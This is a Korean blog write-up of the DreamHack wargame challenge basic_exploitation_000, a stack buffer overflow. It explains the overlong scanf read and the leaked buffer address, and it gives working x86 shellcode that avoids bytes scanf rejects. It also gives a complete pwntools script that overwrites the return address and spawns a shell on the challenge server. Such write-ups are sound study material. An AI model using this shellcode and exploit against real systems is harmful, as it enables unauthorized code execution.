시스템 해킹/DreamHack으로 해커를 꿈꾸며

[DreamHack] basic_exploitation_000 (Stack Buffer Overflow)

0x6b6569 2023. 2. 21. 21:26

 

 

먼저 C 코드를 보자

1, scanf 범위가 너무 커서 BOF가 가능

2. print 함수로 buf의 주소가 출력된다??

이거다!! buf함수로 바로 점프해서 쉘코드를 실행시킨다. 

 

쉘코드 작성시 주의

scanf 함수의 경우 \x09, \x0a, \x0b, \x0c, \x0d, \x20 를 읽지 못함(전 까지만 입력 받는다.)

블로그 주인장은 shellcode.asm을 이렇게 작성했고

0b가 들어있네  Ah...(대충 매우 심한 욕)

 

asd\\\\

 mov $0xb, %al 에서 문제가 생겼으니 수정한다.

이번에는 0a가 들어갔네 ㅋ 다시한다.

 

감격,,,드디어 성공

 

이제 프로그램 익스플로잇 흐름을 잡으면

main() 함수가 ret을 호출할 때 eip가 buf 위치로 이동하면서 쉘 코드를 실행할 것이다.

 

 

from pwn import *

p = remote("host3.dreamhack.games", 23146)

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x08\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80"

p.recvuntil("buf = (")
buf_address = p32(int(p.recv(10), 16))

payload = shellcode
payload += b"A"*(132-len(shellcode))
payload += buf_address

p.sendline(payload)
p.interactive()

성공